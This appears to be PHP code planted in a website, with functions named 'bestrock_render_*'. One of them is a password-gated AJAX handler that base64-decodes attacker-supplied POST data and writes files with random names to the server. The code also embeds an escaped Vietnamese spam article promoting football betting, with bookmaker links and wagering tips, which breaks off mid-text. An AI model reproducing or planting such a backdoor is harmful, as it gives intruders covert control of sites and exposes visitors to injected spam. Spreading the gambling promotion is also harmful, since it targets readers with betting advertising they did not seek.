function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4="Ng\u00e0y nay, ph\u01b0\u01a1ng th\u1ee9c c\u00e1 c\u01b0\u1ee3c \u0111\u1eb7c bi\u1ec7t ph\u1ed5 bi\u1ebfn l\u00e0 h\u00ecnh th\u1ee9c k\u00e8o \u0111\u1ed3ng banh. \u0110i\u1ec1u \u0111\u1eb7c bi\u1ec7t \u1edf lo\u1ea1i k\u00e8o n\u00e0y l\u00e0 ng\u01b0\u1eddi ch\u01a1i ch\u1ec9 c\u1ea7n d\u1ef1 \u0111o\u00e1n \u0111\u1ed9i n\u00e0o s\u1ebd gi\u00e0nh chi\u1ebfn th\u1eafng, v\u00e0 trong tr\u01b0\u1eddng h\u1ee3p tr\u1eadn \u0111\u1ea5u k\u1ebft th\u00fac v\u1edbi k\u1ebft qu\u1ea3 h\u00f2a, h\u1ecd s\u1ebd kh\u00f4ng m\u1ea5t ti\u1ec1n. V\u1eady, \u0111\u1eb7t ra c\u00e2u h\u1ecfi K\u00e8o \u0111\u1ed3ng banh l\u00e0 g\u00ec? V\u00e0 c\u00e1ch ch\u01a1i k\u00e8o \u0111\u1ed3ng banh nh\u01b0 th\u1ebf n\u00e0o hi\u1ec7u qu\u1ea3? H\u00e3y c\u00f9ng \u0111\u1ed3ng h\u00e0nh v\u1edbi nh\u00e0 c\u00e1i 11<\/a> \u0111\u1ec3 t\u00ecm hi\u1ec3u k\u1ef9 h\u01a1n v\u1ec1 nh\u1eefng th\u00f4ng tin chi ti\u1ebft n\u00e0y qua b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y!<\/p>\n

K\u00e8o \u0111\u1ed3ng banh l\u00e0 g\u00ec?<\/h2>\n

K\u00e8o \u0111\u1ed3ng banh l\u00e0 sao? Hi\u1ec7n nay, ph\u01b0\u01a1ng th\u1ee9c c\u00e1 \u0111\u1ed9 b\u00f3ng \u0111\u00e1 \u0111\u01b0\u1ee3c ng\u01b0\u1eddi ch\u01a1i th\u01b0\u1eddng g\u1ecdi l\u00e0 k\u00e8o h\u00f2a l\u00e0 k\u00e8o \u0111\u1ed3ng banh. K\u00e8o \u0111\u1ed3ng banh l\u00e0 c\u00e1c k\u00e8o ch\u1ea5p m\u00e0 nh\u00e0 c\u00e1i cung c\u1ea5p cho ng\u01b0\u1eddi ch\u01a1i. \u0110\u1eb7c bi\u1ec7t l\u00e0 trong t\u00ecnh hu\u1ed1ng c\u1ea3 hai \u0111\u1ed9i b\u00f3ng \u0111\u1ec1u duy tr\u00ec s\u1ef1 c\u00e2n b\u1eb1ng (h\u00f2a nhau) v\u00e0 kh\u00f4ng c\u00f3 s\u1ef1 ch\u00eanh l\u1ec7ch l\u1edbn gi\u1eefa h\u1ecd. Lo\u1ea1i k\u00e8o n\u00e0y th\u01b0\u1eddng xu\u1ea5t hi\u1ec7n \u0111\u1eb7c bi\u1ec7t nhi\u1ec1u trong c\u00e1c tr\u1eadn \u0111\u1ea5u c\u1ee7a c\u00e1c \u0111\u1ed9i b\u00f3ng l\u1edbn, nh\u01b0 c\u00e1c tr\u1eadn b\u00e1n k\u1ebft, chung k\u1ebft c\u1ee7a World Cup, Euro, hay c\u00fap C1 Ch\u00e2u \u00c2u.<\/p>\n

\"K\u00e8o

K\u00e8o \u0111\u1ed3ng banh l\u00e0 g\u00ec?<\/p><\/div>\n

G\u1ea7n \u0111\u00e2y, m\u1ed9t bi\u1ebfn th\u1ec3 c\u1ee7a k\u00e8o \u0111\u1ed3ng banh n\u1ed5i l\u00ean, \u0111\u00f3 l\u00e0 k\u00e8o \u0111\u1ed3ng banh n\u1eeda tr\u00e1i. T\u00ednh ch\u1ea5t c\u01a1 b\u1ea3n c\u1ee7a k\u00e8o \u0111\u1ed3ng banh n\u1eeda tr\u00e1i gi\u1ed1ng nh\u01b0 k\u00e8o \u0111\u1ed3ng banh th\u00f4ng th\u01b0\u1eddng, nh\u01b0ng \u0111\u1eb7c \u0111i\u1ec3m \u0111\u1eb7c bi\u1ec7t l\u00e0 khi tham gia k\u00e8o \u0111\u1ed3ng banh n\u1eeda tr\u00e1i, ng\u01b0\u1eddi ch\u01a1i s\u1ebd kh\u00f4ng c\u00f3 kh\u1ea3 n\u0103ng \u0111\u01b0\u1ee3c ho\u00e0n l\u1ea1i ti\u1ec1n c\u01b0\u1ee3c trong m\u1ecdi t\u00ecnh hu\u1ed1ng.<\/p>\n

K\u00e8o \u0111\u1ed3ng banh n\u1eeda tr\u00e1i l\u00e0 g\u00ec?<\/h3>\n

B\u00ean c\u1ea1nh l\u1ef1a ch\u1ecdn k\u00e8o \u0111\u1ed3ng banh, ng\u01b0\u1eddi ch\u01a1i c\u00f2n c\u00f3 th\u1ec3 t\u1eadn d\u1ee5ng k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh n\u1eeda tr\u00e1i. T\u00ednh ch\u1ea5t c\u01a1 b\u1ea3n c\u1ee7a k\u00e8o n\u00e0y t\u01b0\u01a1ng t\u1ef1 nh\u01b0 k\u00e8o \u0111\u1ed3ng banh, tuy nhi\u00ean, \u0111\u1eb7c \u0111i\u1ec3m \u0111\u1ed9c \u0111\u00e1o c\u1ee7a k\u00e8o \u0111\u1ed3ng banh n\u1eeda tr\u00e1i l\u00e0 kh\u00f4ng c\u00f3 tr\u01b0\u1eddng h\u1ee3p ho\u00e0n tr\u1ea3 c\u01b0\u1ee3c.<\/p>\n

Khi ph\u00e2n t\u00edch v\u1ec1 k\u00e8o \u0111\u1ed3ng banh, th\u01b0\u1eddng xu\u1ea5t hi\u1ec7n trong c\u00e1c t\u00ecnh hu\u1ed1ng nh\u01b0 sau:<\/p>\n

    \n
  1. C\u1ea3 hai \u0111\u1ed9i b\u00f3ng c\u00f3 \u0111\u1eb3ng c\u1ea5p, phong \u0111\u1ed9 v\u00e0 ch\u1ea5t l\u01b0\u1ee3ng c\u1ea7u th\u1ee7 t\u01b0\u01a1ng \u0111\u01b0\u01a1ng \u1edf th\u1eddi \u0111i\u1ec3m hi\u1ec7n t\u1ea1i.<\/li>\n
  2. \u0110\u1ed9i b\u00f3ng \u0111\u01b0\u1ee3c \u0111\u00e1nh gi\u00e1 m\u1ea1nh h\u01a1n nh\u01b0ng l\u1ea1i tr\u1ea3i qua chu\u1ed7i tr\u1eadn \u0111\u1ea5u kh\u00f4ng t\u1ed1t, khi\u1ebfn nh\u00e0 c\u00e1i \u0111i\u1ec1u ch\u1ec9nh xu\u1ed1ng k\u00e8o \u0111\u1ed3ng banh.<\/li>\n
  3. S\u1ef1 thi \u0111\u1ea5u tr\u00ean s\u00e2n nh\u00e0\/s\u00e2n kh\u00e1ch c\u0169ng l\u00e0 m\u1ed9t y\u1ebfu t\u1ed1 quan tr\u1ecdng, nh\u00e0 c\u00e1i s\u1ebd xem x\u00e9t \u0111\u1ec3 \u0111\u01b0a ra t\u1ef7 l\u1ec7 k\u00e8o \u0111\u1ed3ng banh.<\/li>\n<\/ol>\n

    Trong qu\u00e1 tr\u00ecnh ti\u1ebfn tri\u1ec3n c\u1ee7a tr\u1eadn \u0111\u1ea5u, ng\u01b0\u1eddi ch\u01a1i th\u01b0\u1eddng nh\u1eadn th\u1ea5y nh\u00e0 c\u00e1i b\u00f3ng \u0111\u00e1<\/a> gi\u1ea3m t\u1ef7 l\u1ec7 k\u00e8o t\u1eeb 0.25 tr\u00e1i xu\u1ed1ng \u0111\u1ebfn 0 tr\u00e1i, nh\u1eb1m m\u1ee5c \u0111\u00edch c\u00e2n b\u1eb1ng t\u1ef7 l\u1ec7 k\u00e8o v\u00e0 m\u1ee9c \u0111\u1eb7t c\u01b0\u1ee3c t\u1eeb ng\u01b0\u1eddi ch\u01a1i.<\/p>\n

    \"K\u00e8o

    K\u00e8o \u0111\u1ed3ng banh n\u1eeda tr\u00e1i l\u00e0 g\u00ec?<\/p><\/div>\n

    V\u00ed d\u1ee5:<\/strong> Trong tr\u1eadn \u0111\u1ea5u gi\u1eefa IK Brage v\u00e0 Orebro SK v\u1edbi t\u1ef7 l\u1ec7 k\u00e8o \u0111\u1ed3ng banh, IK Brage c\u00f3 t\u1ef7 l\u1ec7 \u0103n 0.89, Orebro SK c\u00f3 t\u1ef7 l\u1ec7 \u0103n 1.03. Ng\u01b0\u1eddi ch\u01a1i \u0111\u1eb7t c\u01b0\u1ee3c 100$. C\u00f3 3 tr\u01b0\u1eddng h\u1ee3p c\u00f3 th\u1ec3 x\u1ea3y ra:<\/p>\n

      \n
    1. \u0110\u1eb7t c\u01b0\u1ee3c cho IK Brage, n\u1ebfu \u0111\u1ed9i n\u00e0y th\u1eafng, ng\u01b0\u1eddi ch\u01a1i s\u1ebd nh\u1eadn th\u01b0\u1edfng.<\/li>\n
    2. C\u01b0\u1ee3c cho Orebro SK, n\u1ebfu \u0111\u1ed9i n\u00e0y th\u1eafng, ng\u01b0\u1eddi ch\u01a1i s\u1ebd nh\u1eadn th\u01b0\u1edfng.<\/li>\n
    3. Tr\u1eadn \u0111\u1ea5u k\u1ebft th\u00fac h\u00f2a, nh\u00e0 c\u00e1i ho\u00e0n tr\u1ea3 100% s\u1ed1 ti\u1ec1n c\u01b0\u1ee3c ban \u0111\u1ea7u.<\/li>\n<\/ol>\n

      K\u00e8o ch\u1ea5p \u0111\u1ed3ng banh l\u00e0 g\u00ec?<\/h2>\n

      K\u00e8o ch\u1ea5p \u0111\u1ed3ng banh l\u00e0 lo\u1ea1i k\u00e8o xu\u1ea5t hi\u1ec7n khi hai \u0111\u1ed9i \u0111\u1ed1i \u0111\u1ea7u mang \u0111\u1ebfn s\u1ef1 \u0111\u1ed3ng \u0111\u1ec1u v\u1ec1 phong \u0111\u1ed9 v\u00e0 \u0111\u1ed9i h\u00ecnh. K\u00e8o ch\u1ea5p \u0111\u1ed3ng banh th\u01b0\u1eddng \u0111i k\u00e8m v\u1edbi nhi\u1ec1u l\u1ef1a ch\u1ecdn kh\u00e1c nh\u01b0 k\u00e8o rung, k\u00e8o ch\u1ea5p n\u1eeda tr\u00e1i, k\u00e8o \u0111\u1ed3ng banh n\u1eeda tr\u00e1i, v\u00e0 n\u00f3 \u0111ang tr\u1edf th\u00e0nh m\u1ed9t trong nh\u1eefng k\u00e8o c\u00e1 c\u01b0\u1ee3c ph\u1ed5 bi\u1ebfn v\u00e0 \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi ch\u01a1i \u01b0a chu\u1ed9ng ng\u00e0y nay.<\/p>\n

      Trong k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh, c\u00f3 m\u1ed9t s\u1ed1 tr\u01b0\u1eddng h\u1ee3p th\u01b0\u1eddng g\u1eb7p nh\u01b0 sau:<\/p>\n

        \n
      1. \u0110\u1ed9i c\u1eeda tr\u00ean th\u1eafng:<\/strong> Ng\u01b0\u1eddi ch\u01a1i s\u1ebd chi\u1ebfn th\u1eafng \u0111\u1ee7 ti\u1ec1n c\u01b0\u1ee3c n\u1ebfu \u0111\u1ed9i c\u1eeda tr\u00ean gi\u00e0nh chi\u1ebfn th\u1eafng.<\/li>\n
      2. \u0110\u1ed9i c\u1eeda d\u01b0\u1edbi th\u1eafng:<\/strong> Ng\u01b0\u1eddi ch\u01a1i \u0111\u1eb7t c\u01b0\u1ee3c v\u00e0o \u0111\u1ed9i c\u1eeda d\u01b0\u1edbi v\u00e0 s\u1ebd th\u1eafng \u0111\u1ee7 ti\u1ec1n khi \u0111\u1ed9i b\u00f3ng \u0111\u00f3 gi\u00e0nh chi\u1ebfn th\u1eafng chung cu\u1ed9c.<\/li>\n
      3. Hai \u0111\u1ed9i h\u00f2a nhau:<\/strong> C\u1ea3 hai c\u01b0\u1ee3c s\u1ebd \u0111\u01b0\u1ee3c ho\u00e0n l\u1ea1i n\u1ebfu tr\u1eadn \u0111\u1ea5u k\u1ebft th\u00fac v\u1edbi k\u1ebft qu\u1ea3 h\u00f2a.<\/li>\n<\/ol>\n

        \u0110\u1ec3 tham gia k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh m\u1ed9t c\u00e1ch th\u00e0nh c\u00f4ng, ng\u01b0\u1eddi ch\u01a1i c\u1ea7n t\u00edch l\u0169y kinh nghi\u1ec7m \u0111\u1eb7t c\u01b0\u1ee3c v\u00e0 tr\u00e1nh c\u00e1c r\u1ee7i ro. B\u1edfi v\u00ec, quy\u1ebft \u0111\u1ecbnh trong k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh th\u01b0\u1eddng \u0111\u00f2i h\u1ecfi s\u1ef1 c\u00e2n nh\u1eafc k\u1ef9 l\u01b0\u1ee1ng do c\u1ea3 hai \u0111\u1ed9i th\u01b0\u1eddng c\u00f3 s\u1ef1 \u0111\u1ed3ng \u0111\u1ec1u v\u1ec1 ch\u1ea5t l\u01b0\u1ee3ng, \u0111\u1ed9i h\u00ecnh v\u00e0 kh\u1ea3 n\u0103ng thi \u0111\u1ea5u. Do \u0111\u00f3, vi\u1ec7c t\u00ednh to\u00e1n v\u00e0 \u0111\u00e1nh gi\u00e1 tr\u01b0\u1edbc khi \u0111\u01b0a ra quy\u1ebft \u0111\u1ecbnh l\u00e0 r\u1ea5t quan tr\u1ecdng.<\/p>\n

        C\u00e1ch \u0111\u1eb7t c\u01b0\u1ee3c k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh<\/h2>\n

        \u0110\u1ec3 t\u0103ng c\u01a1 h\u1ed9i chi\u1ebfn th\u1eafng trong c\u00e1c k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh, m\u1ed7i ng\u01b0\u1eddi ch\u01a1i \u0111\u1ec1u c\u1ea7n t\u00edch lu\u1ef9 kinh nghi\u1ec7m \u0111\u1eb7t c\u01b0\u1ee3c. Lo\u1ea1i k\u00e8o n\u00e0y th\u01b0\u1eddng kh\u00f3 \u0111\u01b0a ra quy\u1ebft \u0111\u1ecbnh v\u00ec c\u1ea3 hai \u0111\u1ed9i th\u01b0\u1eddng c\u00f3 s\u1ef1 t\u01b0\u01a1ng \u0111\u1ed3ng v\u1ec1 l\u1ef1c l\u01b0\u1ee3ng, ch\u1ea5t l\u01b0\u1ee3ng chuy\u00ean m\u00f4n, v\u00e0 kh\u1ea3 n\u0103ng thi \u0111\u1ea5u. Do \u0111\u00f3, khi tham gia k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh, ng\u01b0\u1eddi ch\u01a1i c\u1ea7n th\u1ef1c hi\u1ec7n nh\u1eefng t\u00ednh to\u00e1n k\u1ef9 l\u01b0\u1ee1ng tr\u01b0\u1edbc khi \u0111\u01b0a ra quy\u1ebft \u0111\u1ecbnh.<\/p>\n

        \"\u0110\u1ec3

        \u0110\u1ec3 t\u0103ng c\u01a1 h\u1ed9i chi\u1ebfn th\u1eafng trong c\u00e1c k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh, m\u1ed7i ng\u01b0\u1eddi ch\u01a1i \u0111\u1ec1u c\u1ea7n t\u00edch lu\u1ef9 kinh nghi\u1ec7m \u0111\u00e1nh k\u00e8o \u0111\u1ed3ng banh<\/p><\/div>\n

        Khi \u0111\u1eb7t c\u01b0\u1ee3c v\u00e0o k\u00e8o ch\u1ea5p \u0111\u1ed3ng banh, c\u00f3 nh\u1eefng \u0111i\u1ec1u c\u1ea7n ch\u00fa \u00fd nh\u01b0 sau:<\/p>\n

          \n
        1. Tr\u00e1nh \u0111\u1eb7t c\u01b0\u1ee3c qu\u00e1 s\u1edbm: Ng\u01b0\u1eddi ch\u01a1i n\u00ean ch\u1edd kho\u1ea3ng 15-20 ph\u00fat sau tr\u1eadn \u0111\u1ea5u \u0111\u1ec3 hi\u1ec3u r\u00f5 t\u00ecnh h\u00ecnh tr\u00ean s\u00e2n. N\u1ebfu v\u1eabn ch\u01b0a c\u00f3 quy\u1ebft \u0111\u1ecbnh, l\u1ef1a ch\u1ecdn \u0111\u1ed9i ch\u1ee7 nh\u00e0, v\u00ec \u0111a ph\u1ea7n \u0111\u1ed9i ch\u1ee7 nh\u00e0 th\u01b0\u1eddng chi\u1ebfm \u01b0u th\u1ebf h\u01a1n tr\u00ean s\u00e2n nh\u00e0.<\/li>\n
        2. Ch\u1ecdn \u0111\u1ed9i c\u00f3 phong \u0111\u1ed9 \u1ed5n \u0111\u1ecbnh: L\u1ef1a ch\u1ecdn \u0111\u1ed9i c\u00f3 th\u00e0nh t\u00edch t\u1ed1t trong th\u1eddi gian g\u1ea7n \u0111\u00e2y. Khi \u0111\u1ed9i ch\u1ee7 nh\u00e0 ghi b\u00e0n tr\u01b0\u1edbc, \u0111\u1ed9i kh\u00e1ch th\u01b0\u1eddng b\u1ecb ch\u1ea5p 1\/4 tr\u00e1i, n\u00ean c\u00e2n nh\u1eafc \u0111\u1eb7t c\u01b0\u1ee3c v\u00e0o \u0111\u1ed9i ch\u1ee7 nh\u00e0 v\u1edbi t\u1ef7 l\u1ec7 k\u00e8o ch\u1ea5p l\u00e0 1\/4.<\/li>\n<\/ol>\n

          Kinh nghi\u1ec7m ch\u01a1i k\u00e8o \u0111\u1ed3ng banh hi\u1ec7u qu\u1ea3 nh\u1ea5t<\/h2>\n

          \u0110\u1ec3 th\u00e0nh c\u00f4ng trong vi\u1ec7c \u0111\u1eb7t c\u01b0\u1ee3c b\u00f3ng \u0111\u00e1, \u0111\u1eb7c bi\u1ec7t l\u00e0 v\u1edbi k\u00e8o ch\u1ea5p 0 tr\u00e1i t\u1ea1i c\u00e1c nh\u00e0 c\u00e1i, vi\u1ec7c ch\u1ecdn \u0111\u00fang c\u1eeda c\u01b0\u1ee3c l\u00e0 quan tr\u1ecdng. D\u01b0\u1edbi \u0111\u00e2y l\u00e0 m\u1ed9t s\u1ed1 m\u1eb9o h\u1eefu \u00edch:<\/p>\n